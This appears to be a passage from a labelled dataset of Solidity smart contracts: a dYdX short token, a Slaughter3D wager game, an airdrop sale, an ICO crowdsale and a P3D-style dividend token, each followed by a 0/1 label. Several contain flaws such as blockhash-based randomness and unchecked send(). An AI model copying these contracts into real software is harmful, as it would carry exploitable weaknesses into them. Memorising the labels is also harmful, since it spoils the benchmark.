initialTokenHolder, trustedRecipients, trustedWithdrawers ) {} function decimals() external view returns (uint8) { address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID); return DetailedERC20(owedToken).decimals(); } function symbol() external view returns (string) { if (state == State.UNINITIALIZED) { return "s[UNINITIALIZED]"; } address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID); return string( StringHelpers.strcat( "s", bytes(DetailedERC20(owedToken).symbol()) ) ); } function name() external view returns (string) { if (state == State.UNINITIALIZED) { return "dYdX Short Token [UNINITIALIZED]"; } return string( StringHelpers.strcat( "dYdX Short Token ", StringHelpers.bytes32ToHex(POSITION_ID) ) ); } function getTokenAmountOnAdd( uint256 principalAdded ) internal view returns (uint256) { return principalAdded; } function getCloseAmounts( uint256 requestedCloseAmount, uint256 balance, uint256 positionPrincipal ) private view returns ( uint256 , uint256 ) { assert(positionPrincipal <= totalSupply_); uint256 amount = Math.min256(balance, requestedCloseAmount); return (amount, amount); } } contract ERC20CappedShort is ERC20Short, ERC20CappedPosition { using SafeMath for uint256; constructor( bytes32 positionId, address margin, address initialTokenHolder, address[] trustedRecipients, address[] trustedWithdrawers, address[] trustedLateClosers, uint256 cap ) public ERC20Short( positionId, margin, initialTokenHolder, trustedRecipients, trustedWithdrawers ) ERC20CappedPosition( trustedLateClosers, cap ) { } function getTokenAmountOnAdd( uint256 principalAdded ) internal view returns (uint256) { uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded); require( totalSupply_.add(tokenAmount) <= tokenCap, "ERC20CappedShort#getTokenAmountOnAdd: Adding tokenAmount would exceed cap" ); return tokenAmount; } }
1
5,478
pragma solidity ^0.4.25; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Slaughter3D is Owned { using SafeMath for uint; struct Stage { uint8 numberOfPlayers; uint256 blocknumber; bool finalized; mapping (uint8 => address) slotXplayer; mapping (address => bool) players; mapping (uint8 => address) setMN; } HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1); Slaughter3DInterface constant old = Slaughter3DInterface(0xA76daa02C1A6411c6c368f3A59f4f2257a460006); uint256 constant private P3D_SHARE = 0.005 ether; uint8 constant public MAX_PLAYERS_PER_STAGE = 2; uint256 constant public OFFER_SIZE = 0.1 ether; uint256 public Refundpot; uint256 private p3dPerStage = P3D_SHARE * (MAX_PLAYERS_PER_STAGE - 1); uint256 public winningsPerRound = 0.185 ether; mapping(address => uint256) public playerVault; mapping(uint256 => Stage) public stages; mapping(uint256 => address) public RefundWaitingLine; mapping(uint256 => address) public Loser; uint256 public NextInLine; uint256 public NextAtLineEnd; uint256 private numberOfFinalizedStages; uint256 public numberOfStages; event SacrificeOffered(address indexed player); event SacrificeChosen(address indexed sarifice); event EarningsWithdrawn(address indexed player, uint256 indexed amount); event StageInvalidated(uint256 indexed stage); uint256 public NextInLineOld; uint256 public lastToPayOld; function previousstageloser() public view returns(address) { return (Loser[numberOfFinalizedStages]); } function previousstageplayer1() public view returns(address) { return (stages[numberOfFinalizedStages].slotXplayer[0]); } function previousstageplayer2() public view returns(address) { return (stages[numberOfFinalizedStages].slotXplayer[1]); } function currentstageplayer1() public view returns( address ) { return (stages[numberOfStages].slotXplayer[0]); } function currentstageplayer2() public view returns( address ) { return (stages[numberOfStages].slotXplayer[1]); } function checkstatus() public view returns(bool ) { bool check; if(numberOfStages >= numberOfFinalizedStages) { if(!stages[numberOfFinalizedStages].finalized && stages[numberOfFinalizedStages].numberOfPlayers < MAX_PLAYERS_PER_STAGE && stages[numberOfFinalizedStages].blocknumber != 0) { check = true; } } return (check); } function nextonetogetpaid() public view returns(address) { return (RefundWaitingLine[NextInLine]); } function contractownsthismanyP3D() public view returns(uint256) { return (p3dContract.balanceOf(address(this))); } uint256 public pointMultiplier = 10e18; struct Account { uint balance; uint lastDividendPoints; } mapping(address => uint256) public balances; uint256 public _totalSupply; mapping(address=>Account) public accounts; uint public ethtotalSupply; uint public totalDividendPoints; uint public unclaimedDividends; function dividendsOwing(address account) public view returns(uint256) { uint256 newDividendPoints = totalDividendPoints.sub(accounts[account].lastDividendPoints); return (balances[account] * newDividendPoints) / pointMultiplier; } modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if(owing > balances[account]){balances[account] = owing;} if(owing > 0 ) { unclaimedDividends = unclaimedDividends.sub(owing); playerVault[account] = playerVault[account].add(owing); balances[account] = balances[account].sub(owing); _totalSupply = _totalSupply.sub(owing); } accounts[account].lastDividendPoints = totalDividendPoints; _; } function () external payable{} function fetchdivs(address toUpdate) public updateAccount(toUpdate){} function disburse() public payable { uint256 amount = msg.value; totalDividendPoints = totalDividendPoints.add(amount.mul(pointMultiplier).div(_totalSupply)); unclaimedDividends = unclaimedDividends.add(amount); } function DivsToRefundpot ()public { uint256 dividends = p3dContract.myDividends(true); require(dividends > 0); uint256 base = dividends.div(100); p3dContract.withdraw(); SPASM_.disburse.value(base.mul(5))(); Refundpot = Refundpot.add(base.mul(95)); } function DonateToLosers ()public payable { require(msg.value > 0); Refundpot = Refundpot.add(msg.value); } function legacyStart(uint256 amountProgress) onlyOwner public{ uint256 nextUp = NextInLineOld; for(uint i=0; i< amountProgress; i++) { address torefund = old.RefundWaitingLine(nextUp + i); i++; balances[torefund] = balances[torefund].add(0.1 ether); } NextInLineOld += i; _totalSupply = _totalSupply.add(i.mul(0.1 ether)); } function Payoutnextrefund ()public { require(Refundpot > 0.00001 ether); uint256 amount = Refundpot; Refundpot = 0; totalDividendPoints = totalDividendPoints.add(amount.mul(pointMultiplier).div(_totalSupply)); unclaimedDividends = unclaimedDividends.add(amount); } modifier isValidOffer() { require(msg.value == OFFER_SIZE); _; } modifier canPayFromVault() { require(playerVault[msg.sender] >= OFFER_SIZE); _; } modifier hasEarnings() { require(playerVault[msg.sender] > 0); _; } modifier prepareStage() { if(stages[numberOfStages - 1].numberOfPlayers == MAX_PLAYERS_PER_STAGE) { stages[numberOfStages] = Stage(0, 0, false ); numberOfStages++; } _; } modifier isNewToStage() { require(stages[numberOfStages - 1].players[msg.sender] == false); _; } constructor() public { stages[numberOfStages] = Stage(0, 0, false); numberOfStages++; NextInLineOld = old.NextInLine(); lastToPayOld = 525; } function offerAsSacrifice(address MN) external payable isValidOffer prepareStage isNewToStage { acceptOffer(MN); tryFinalizeStage(); } function offerAsSacrificeFromVault(address MN) external canPayFromVault prepareStage isNewToStage { playerVault[msg.sender] -= OFFER_SIZE; acceptOffer(MN); tryFinalizeStage(); } function offerAsSacrificeFromVaultForce(address MN, address forcedToFight) external payable prepareStage { uint256 value = msg.value; require(value >= 0.005 ether); require(playerVault[forcedToFight] >= OFFER_SIZE); require(stages[numberOfStages - 1].players[forcedToFight] == false); playerVault[forcedToFight] -= OFFER_SIZE; playerVault[forcedToFight] += 0.003 ether; SPASM_.disburse.value(0.002 ether)(); Stage storage currentStage = stages[numberOfStages - 1]; assert(currentStage.numberOfPlayers < MAX_PLAYERS_PER_STAGE); address player = forcedToFight; currentStage.slotXplayer[currentStage.numberOfPlayers] = player; currentStage.numberOfPlayers++; currentStage.players[player] = true; currentStage.setMN[currentStage.numberOfPlayers] = MN; emit SacrificeOffered(player); if(currentStage.numberOfPlayers == MAX_PLAYERS_PER_STAGE) { currentStage.blocknumber = block.number; } tryFinalizeStage(); } function withdraw() external hasEarnings { tryFinalizeStage(); uint256 amount = playerVault[msg.sender]; playerVault[msg.sender] = 0; emit EarningsWithdrawn(msg.sender, amount); msg.sender.transfer(amount); } function myEarnings() external view hasEarnings returns(uint256) { return playerVault[msg.sender]; } function currentPlayers() external view returns(uint256) { return stages[numberOfStages - 1].numberOfPlayers; } function acceptOffer(address MN) private { Stage storage currentStage = stages[numberOfStages - 1]; assert(currentStage.numberOfPlayers < MAX_PLAYERS_PER_STAGE); address player = msg.sender; currentStage.slotXplayer[currentStage.numberOfPlayers] = player; currentStage.numberOfPlayers++; currentStage.players[player] = true; currentStage.setMN[currentStage.numberOfPlayers] = MN; emit SacrificeOffered(player); if(currentStage.numberOfPlayers == MAX_PLAYERS_PER_STAGE) { currentStage.blocknumber = block.number; } } function tryFinalizeStage() public { assert(numberOfStages >= numberOfFinalizedStages); if(numberOfStages == numberOfFinalizedStages) {return;} Stage storage stageToFinalize = stages[numberOfFinalizedStages]; assert(!stageToFinalize.finalized); if(stageToFinalize.numberOfPlayers < MAX_PLAYERS_PER_STAGE) {return;} assert(stageToFinalize.blocknumber != 0); if(block.number - 256 <= stageToFinalize.blocknumber) { if(block.number == stageToFinalize.blocknumber) {return;} uint8 sacrificeSlot = uint8(blockhash(stageToFinalize.blocknumber)) % MAX_PLAYERS_PER_STAGE; address sacrifice = stageToFinalize.slotXplayer[sacrificeSlot]; Loser[numberOfFinalizedStages] = sacrifice; emit SacrificeChosen(sacrifice); allocateSurvivorWinnings(sacrifice); fetchdivs(sacrifice); balances[sacrifice] = balances[sacrifice].add(0.1 ether); _totalSupply += 0.1 ether; Refundpot = Refundpot.add(0.005 ether); p3dContract.buy.value(0.004 ether)(stageToFinalize.setMN[1]); p3dContract.buy.value(0.004 ether)(stageToFinalize.setMN[2]); SPASM_.disburse.value(0.002 ether)(); } else { invalidateStage(numberOfFinalizedStages); emit StageInvalidated(numberOfFinalizedStages); } stageToFinalize.finalized = true; numberOfFinalizedStages++; } function allocateSurvivorWinnings(address sacrifice) private { for (uint8 i = 0; i < MAX_PLAYERS_PER_STAGE; i++) { address survivor = stages[numberOfFinalizedStages].slotXplayer[i]; if(survivor != sacrifice) { playerVault[survivor] += winningsPerRound; } } } function invalidateStage(uint256 stageIndex) private { Stage storage stageToInvalidate = stages[stageIndex]; for (uint8 i = 0; i < MAX_PLAYERS_PER_STAGE; i++) { address player = stageToInvalidate.slotXplayer[i]; playerVault[player] += OFFER_SIZE; } } } interface HourglassInterface { function buy(address _playerAddress) payable external returns(uint256); function withdraw() external; function myDividends(bool _includeReferralBonus) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); } interface SPASMInterface { function() payable external; function disburse() external payable; } interface Slaughter3DInterface { function RefundWaitingLine(uint256 index) external view returns(address); function NextInLine() external view returns(uint256); function NextAtLineEnd() external view returns(uint256); } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } }
1
3,449
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function transferFrom(address from, address to, uint256 value) public returns (bool); } contract InvestLTCS is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; address _tokenContract = 0x6bf91fa5472b5a28278b5027e9120c78f1df4127; AltcoinToken thetoken = AltcoinToken(_tokenContract); uint256 public tokensPerEth = 50000e4; uint256 public tokensPerAirdrop = 5e4; uint256 public bonus = 0; uint256 public airdropcounter = 0; uint256 public constant minContribution = 1 ether / 1000; uint256 public constant extraBonus = 1 ether / 10; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Distr(address indexed to, uint256 amount); event TokensPerEthUpdated(uint _tokensPerEth); event TokensPerAirdropUpdated(uint _tokensPerEth); modifier onlyOwner() { require(msg.sender == owner); _; } function InvestLTCS () public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner { tokensPerAirdrop = _tokensPerAirdrop; emit TokensPerAirdropUpdated(_tokensPerAirdrop); } function () external payable { if ( msg.value >= minContribution) { sendTokens(); } else if ( msg.value < minContribution) { airdropcounter = airdropcounter + 1; sendAirdrop(); } } function sendTokens() private returns (bool) { uint256 tokens = 0; require( msg.value >= minContribution ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 4; } tokens = tokens + bonus; sendtokens(thetoken, tokens, investor); } function sendAirdrop() private returns (bool) { uint256 tokens = 0; require( airdropcounter < 1000 ); tokens = tokensPerAirdrop; address holder = msg.sender; sendtokens(thetoken, tokens, holder); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function resetAirdrop() onlyOwner public { airdropcounter=0; } function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) { AltcoinToken anytoken = AltcoinToken(anycontract); uint256 amount = anytoken.balanceOf(address(this)); return anytoken.transfer(owner, amount); } function sendtokens(address contrato, uint256 amount, address who) private returns (bool) { AltcoinToken alttoken = AltcoinToken(contrato); return alttoken.transfer(who, amount); } }
0
603
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract GetAchieveICO is Ownable { using SafeMath for uint; address public beneficiary; uint256 public decimals; uint256 public softCap; uint256 public hardCap; uint256 public amountRaised; uint256 public amountSold; uint256 public maxAmountToSell; uint256 deadline1; uint256 deadline2; uint256 oneWeek; uint256 public price; uint256 price0; uint256 price1; uint256 price2; uint256 price3; uint256 price4; uint256 price5; uint256 price6; uint256 price7; ERC20 public token; mapping(address => uint256) balances; bool public fundingGoalReached = false; bool public crowdsaleClosed = true; event GoalReached(address recipient, uint256 totalAmountRaised); event FundTransfer(address backer, uint256 amount, bool isContribution); constructor( address wallet, ERC20 addressOfToken ) public { beneficiary = wallet; decimals = 18; softCap = 4000 * 1 ether; hardCap = 12000 * 1 ether; maxAmountToSell = 192000000 * 10 ** decimals; price0 = 40; price1 = 20; price2 = 24; price3 = 24; price4 = 28; price5 = 28; price6 = 32; price7 = 32; price = price1; oneWeek = 7 * 1 days; deadline2 = now + 50 * oneWeek; token = addressOfToken; } function balanceOf(address _owner) public view returns (uint) { return balances[_owner]; } function () payable public { require(!crowdsaleClosed); require(_validateSaleDate()); require(msg.sender != address(0)); uint256 amount = msg.value; require(amount != 0); require(amount >= 10000000000000000); require(amount <= hardCap); uint256 tokens = amount.mul(10 ** 6); tokens = tokens.div(price); require(amountSold.add(tokens) <= maxAmountToSell); balances[msg.sender] = balances[msg.sender].add(amount); amountRaised = amountRaised.add(amount); amountSold = amountSold.add(tokens); token.transfer(msg.sender, tokens); emit FundTransfer(msg.sender, amount, true); } function _validateSaleDate() internal returns (bool) { if(now <= deadline1) { uint256 dateDif = deadline1.sub(now); if (dateDif <= 2 * 1 days) { price = price7; return true; } else if (dateDif <= 4 * 1 days) { price = price6; return true; } else if (dateDif <= 6 * 1 days) { price = price5; return true; } else if (dateDif <= 8 * 1 days) { price = price4; return true; } else if (dateDif <= 10 * 1 days) { price = price3; return true; } else if (dateDif <= 12 * 1 days) { price = price2; return true; } else if (dateDif <= 14 * 1 days) { price = price1; return true; } else { price = 25; return true; } } if (now >= (deadline1.add(oneWeek)) && now <= deadline2) { maxAmountToSell = 420000000 * 10 ** decimals; price = price0; return true; } if (now >= deadline2) { crowdsaleClosed = true; return false; } return false; } function startCrowdsale() onlyOwner public returns (bool) { deadline1 = now + 2 * oneWeek; deadline2 = deadline1 + oneWeek + 8 * oneWeek; crowdsaleClosed = false; return true; } modifier afterDeadline() { if (now >= deadline2) _; } function checkGoalReached() onlyOwner afterDeadline public { if (amountRaised >= softCap) { fundingGoalReached = true; emit GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } function safeWithdrawal() afterDeadline public { require(!fundingGoalReached); require(crowdsaleClosed); uint256 amount = balances[msg.sender]; balances[msg.sender] = 0; if (amount > 0) { if (msg.sender.send(amount)) { emit FundTransfer(msg.sender, amount, false); } else { balances[msg.sender] = amount; } } } function safeWithdrawFunds(uint256 amount) onlyOwner public returns (bool) { require(beneficiary == msg.sender); if (beneficiary.send(amount)) { return true; } else { return false; } } function safeWithdrawTokens(uint256 amount) onlyOwner afterDeadline public returns (bool) { require(!fundingGoalReached); require(crowdsaleClosed); token.transfer(beneficiary, amount); emit FundTransfer(beneficiary, amount, false); } }
1
3,056
pragma solidity ^0.4.24; contract apexTWO { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } modifier notGasbag() { require(tx.gasprice < 200999999999); _; } modifier antiEarlyWhale { if (address(this).balance -msg.value < whaleBalanceLimit){ require(msg.value <= maxEarlyStake); } if (depositCount_ == 0){ require(ambassadors_[msg.sender] && msg.value == 0.001 ether); }else if (depositCount_ == 1 || depositCount_==2){ require(ambassadors_[msg.sender] && msg.value == 0.002 ether); } _; } modifier isControlled() { require(isPremine() || isStarted()); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "apexTWO Token"; string public symbol = "APX2"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 12; uint8 constant internal startExitFee_ = 48; uint8 constant internal finalExitFee_ = 12; uint256 constant internal exitFeeFallDuration_ = 30 days; uint8 constant internal refferalFee_ = 12; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 100e18; uint256 public maxEarlyStake = 0.1 ether; uint256 public whaleBalanceLimit = 75 ether; address public apex; uint256 public startTime = 0; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => uint256) internal bonusBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; uint256 public depositCount_; mapping(address => bool) internal ambassadors_; constructor () public { ambassadors_[msg.sender]=true; ambassadors_[0x250F9cD6D75C8CDc34183a51b68ed727B86C1b41]=true; ambassadors_[0xb41342AE9432ee1DE63402766c6c0d9b460f7Eb4]=true; apex = msg.sender; } function setStartTime(uint256 _startTime) public { require(msg.sender==apex && !isStarted() && now < _startTime); startTime = _startTime; } function buy(address _referredBy) antiEarlyWhale notGasbag isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , msg.sender); } function buyFor(address _referredBy, address _customerAddress) antiEarlyWhale notGasbag isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , _customerAddress); } function() antiEarlyWhale notGasbag isControlled payable public { purchaseTokens(msg.value, 0x0 , msg.sender); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); emit Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); return _ethereum; } function exitFee() public view returns (uint8) { if (startTime==0){ return startExitFee_; } if ( now < startTime) { return 0; } uint256 secondsPassed = now - startTime; if (secondsPassed >= exitFeeFallDuration_) { return finalExitFee_; } uint8 totalChange = startExitFee_ - finalExitFee_; uint8 currentChange = uint8(totalChange * secondsPassed / exitFeeFallDuration_); uint8 currentFee = startExitFee_- currentChange; return currentFee; } function isPremine() public view returns (bool) { return depositCount_<=7; } function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); depositCount_++; return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure 